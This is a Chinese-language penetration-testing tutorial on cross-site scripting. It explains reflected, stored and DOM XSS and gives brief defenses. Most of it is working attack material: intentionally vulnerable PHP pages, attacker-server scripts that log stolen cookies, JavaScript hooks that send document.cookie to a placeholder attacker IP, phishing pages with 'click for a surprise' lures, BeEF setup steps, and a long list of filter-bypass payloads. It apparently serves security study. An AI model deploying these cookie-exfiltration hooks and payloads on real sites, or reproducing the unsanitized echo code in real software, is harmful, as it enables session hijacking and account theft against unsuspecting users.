渗透测试-13:XSS 漏洞
漏洞原理
- XSS(Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading StyleSheets)的缩写CSS混合,所以改名为XSS
- XSS原理:攻击者在网页中嵌入客户端脚本(通常是JavaScript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本的攻击
常见场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
发现和利用
漏洞危害
防御方式
- 对用户的输入进行合理验证,对特殊字符(如
< > ' "
等)以及<script> javascript
等字符进行过滤 - 根据数据位置设置恰当的输出编码,将数据置于 HTML 上下文中的不同位置(HTML 标签、HTML 属性、JavaScript 脚本、CSS、URL),对所有不可信数据进行恰当的输出编码
- 设置 HttpOnly 属性避免攻击者利用 XSS 漏洞进行 Cookie 劫持攻击
3种XSS类型
XSS类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
触发过程 | 1、黑客构造XSS脚本 2、正常用户访问携带XSS脚本的网页 |
正常用户访问携带XSS脚本的URL | 正常用户访问携带XSS脚本的URL |
数据存储 | 服务器 | URL | URL |
谁来输出 | 后端Web应用程序 | 后端Web应用程序 | 前端JavaScript |
输入位置 | HTTP响应中 | HTTP响应中 | 用F12查看,不会出现在源代码中 |
是否持久 | 是 | 否 | 否 |
反射型XSS
• 反射型XSS 是非持久性、参数型的跨站脚本,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
• 出现场景:多出现在搜索框或者输入框。
漏洞服务器
vul-page-reflected.php
<?php
header('content-type:text/html;charset=utf-8');
session_start();
if (isset($_GET['action'])) {
$action = $_GET['action'];
// ?action=<script>alert(1)</script>
echo $action;
if ($action == 'logout') {
unset($_SESSION['name']);
echo '成功退出';
header("refresh:1;url='./vul-page-reflected.php'");
} else {
header("refresh:1;url='./vul-page-reflected.php'");
}
} else {
if (isset($_SESSION['name'])) {
$name = $_SESSION['name'];
echo "<a href='./vul-page-reflected.php?action=logout'>退出</a><br>";
echo "欢迎 $name , 尊敬的vip 请留言!";
echo "<h3>请留言:</h3>";
echo "<form action='' method='post'>";
echo "<textarea cols=30 rows=5 name='message'></textarea><br>";
echo "<input type='submit' value='提交'></form>";
if (isset($_POST['message'])) {
echo " $name 说: {$_POST['message']}";
}
} else if (isset($_POST['name']) && isset($_POST['passwd'])) {
$name = $_POST['name'];
$passwd = $_POST['passwd'];
if ($name == 'admin' && $passwd == '123456') {
$_SESSION['name'] = $name;
header('refresh:1;url="./vul-page-reflected.php"');
} else {
echo '账户或密码错误!';
header('refresh:1;url="./vul-page-reflected.php"');
}
} else {
echo "<h1>登录</h1>";
echo "<form action='' method='post'>";
echo "账户:<input type='text' name='name'><br>";
echo "密码:<input type='password' name='passwd'><br>";
echo "<input type='submit' value='ok'></form>";
}
}
模拟演示-GET型
攻击者服务器
/xss/cookie-get.php
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
/xss/hook-get.js
xmlhttp = new XMLHttpRequest();
xmlhttp.open(
"get",
"http://[攻击者服务器IP]/xss/cookie-get.php?cookie=" + document.cookie,
true // 开启异步
);
xmlhttp.send();
钓鱼页面
xss-get.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>XSS-GET</title>
</head>
<body>
<!-- 直接跳转到攻击者服务器 -->
<a
href="http://[漏洞服务器IP]/vul-page-reflected.php/?name=<script>document.location='http://[攻击者服务器IP]/xss/cookie-get.php?cookie='%2Bdocument.cookie</script>"
>点我有惊喜</a
>
<!-- 用 ajax 异步访问攻击者服务器 -->
<a
href="http://[漏洞服务器IP]/vul-page-reflected.php/?name=<script src='http://[攻击者服务器IP]/xss/hook-get.js'></script>"
>点我也有惊喜</a
>
</body>
</html>
模拟演示-POST型
攻击者服务器
/xss/cookie-post.php
<?php
$cookie = $_POST['cookie'];
file_put_contents('cookie.txt',$cookie);
/xss/hook-post.js
xmlhttp = new XMLHttpRequest();
xmlhttp.open(
"post",
"http://[攻击者服务器IP]/xss/cookie-post.php",
true // 开启异步
);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("cookie=" + document.cookie);
钓鱼页面
xss-post.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>XSS-POST</title>
</head>
<body>
<form action="http://[漏洞服务器IP]/vul-page-reflected.php" method="post">
<input
type="hidden"
name="message"
value="<script src='[攻击者服务器IP]/xss/hook-post.js'></script>"
/>
<input type="submit" value="点我有惊喜" />
</form>
</body>
</html>
存储型XSS
- 恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性
- 比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码
漏洞服务器
vul-page-stored.php
<?php
if (isset($_POST['message'])) {
$message = $_POST['message'];
file_put_contents('message.txt', $message);
}
?>
<html>
<head>
<meta charset="utf-8">
<title>Stored XSS</title>
</head>
<body>
<form action="" method="post">
留下你的评论:<textarea cols="30" rows="5" name="message" /></textarea>
<input type="submit" value="提交">
</form>
<p>游客说:
<?php
if (file_exists('message.txt')) {
echo file_get_contents('message.txt');
} else {
echo "暂无评论!";
}
?>
</p>
</body>
</html>
DOM型XSS
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式
DOM-XSS简单去理解就是输出点在 DOM,属于特殊的 反射型XSS
常用的DOM方法
方法 | 描述 |
---|---|
getElementById() | 返回带有指定 ID 的元素。 |
getElementsByTagName() | 返回包含带有指定标签名称的所有元素的节点列表(集合/节点数组)。 |
getElementsByClassName() | 返回包含带有指定类名的所有元素的节点列表。 |
appendChild() | 把新的子节点添加到指定节点。 |
removeChild() | 删除子节点。 |
replaceChild() | 替换子节点。 |
insertBefore() | 在指定的子节点前面插入新的子节点。 |
createAttribute() | 创建属性节点。 |
createElement() | 创建元素节点。 |
createTextNode() | 创建文本节点。 |
getAttribute() | 返回指定的属性值。 |
setAttribute() | 把指定属性设置或修改为指定的值。 |
漏洞服务器
vul-page-dom.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM XSS</title>
</head>
<body>
<div>name:
<script>
if (document.location.href.indexOf("name=") >= 0) {
var name = document.location.href.substring(document.location.href.indexOf("name=") + 5);
document.write(decodeURI(name));
} else {
document.write('张三');
}
</script>
</div>
<form>
输入大名:<input name="name">
<input type="submit" value="ok">
</form>
</body>
</html>
XSS平台
免费邮箱:http://24mail.chacuo.net/
XSSPt平台:https://xss.pt
BeEF工具
- BeEF 全称 The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。用 Ruby 语言开发的,用于实现对 XSS 漏洞的攻击和利用。
- BeEF 主要是往网页中插入一段名为 hook.js 的 JS 脚本代码,如果浏览器访问了有 hook.js(钩子) 的页面,就会被 hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向 BeEF 服务器发送一个请求,询问是否有新的代码需要执行
- 官网: https://beefproject.com
- wiki: https://github.com/beefproject/beef/wiki
BeEF平台功能介绍
- 信息搜集: 可以实现网络发现、主机信息获取、cookie获取、会话劫持、获取键盘记录、获取插件信息等功能
- 持久化控制:可以实现确认弹框,⼩窗⼝和中间⼈攻击。
- 社会⼯程学攻击:可以实现点击劫持、弹窗告警、虚假⻚⾯和钓⻥⻚⾯等攻击
- 渗透攻击:可以实现内⽹渗透、CSRF跨站请求伪造攻击、DDOS攻击,还可以结合Metasploit使⽤
安装BeFF
- 安装:apt-get install beef-xss
- 启动:beef-xss(首次启动时需要输入新的密码)
- 管理界面: http://127.0.0.1:3000/ui/panel
- 配置文件:/usr/share/beef-xss/config.yaml
XSS变形
常见构造payload标签
script、img、video、audio、svg、body、select、testarea、iframe 等
常见构造payload函数
onclick 当鼠标点击触发
onmousemove 当鼠标移动就触发
onload 当页面加载完成后触发
onerror 当出错时触发
常用payload
// 常规操作
<script>alert(1)</script>
<script src="http://[ip]/[my.js]"></script>
// src属性绕过
<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
// iframe 绕过
<iframe src="javascript:alert(1)">
<iframe onload="alert(1)">
// a标签绕过
<a href="javascript:onclick=alert(1)">test</a>
<a href="javascript:alert(1)">test</a>
// script绕过
<scRiPt>alert(1)</scrIPt>
<scr<script>ipt>alert(1)</scr<script>ipt>
// 事件绕过
<svg onload=alert(1)>
<body onload=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
// 圆括号绕过
<a onmouseover="javascript:window.onerror=alert;throw 1"></a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script>alert`1`</script>
<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">
// 在不需要任何用户交互的情况下执行脚本
<style onreadystatechange=alert(1)></style>
<iframe onreadystatechange=alert(1)></iframe>
<object onerror=alert(1)></object>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<body onbeforeactivate=alert(1)></body>
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)>
// 伪协议
<object data=javascript:alert(1)></object>
<iframe src=javascript:alert(1)></iframe>
<event-source src=javascript:alert(1)></event-source>
更多参考:https://github.com/payloadbox/xss-payload-list/blob/master/Intruder/xss-payload-list.txt
在线靶场
// 探测
<script>alert(1)</script>
// < 被转义 (点击事件绕过)
' onclick='alert(1)
" onclick="alert(1)
// script 被过滤,alert 被过滤 (换标签绕过)
<a onclick="alert(1)">test</a>
// < 被转义,script 被转义 (大小写绕过)
" ONclick="alert(1)
"><ScRiPt>alert(document.cookie)</ScRiPt>
// 编码绕过
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
// script 被过滤,< > 被转义 (双写绕过:绕过on)
" oonnclick="alert(1)
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
<img o[%00]nerror=alert(1) src=a>
// script 被转义,< > 被转义 (伪协议绕过)
"><a href="javascript:alert(1)">test</a>"
// javascript 中的 i 被过滤 (HTML实体字符绕过)
javascript:alert(1)
<script>alert(1)</script>
// script、/、空格 被替换为 (换行绕过:%00 %09 %0d %0a)
<img%0Dsrc=x%0Donerror="alert(1)"/>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
// <input type="text" name="name" value="test-text" >
"><script>alert(1)</script>
// <script>var a='test-text'; var b=123;...</script>
'; alert(1); var foo='
// <a href="test-text">Click here</a>html
javascript:alert(1);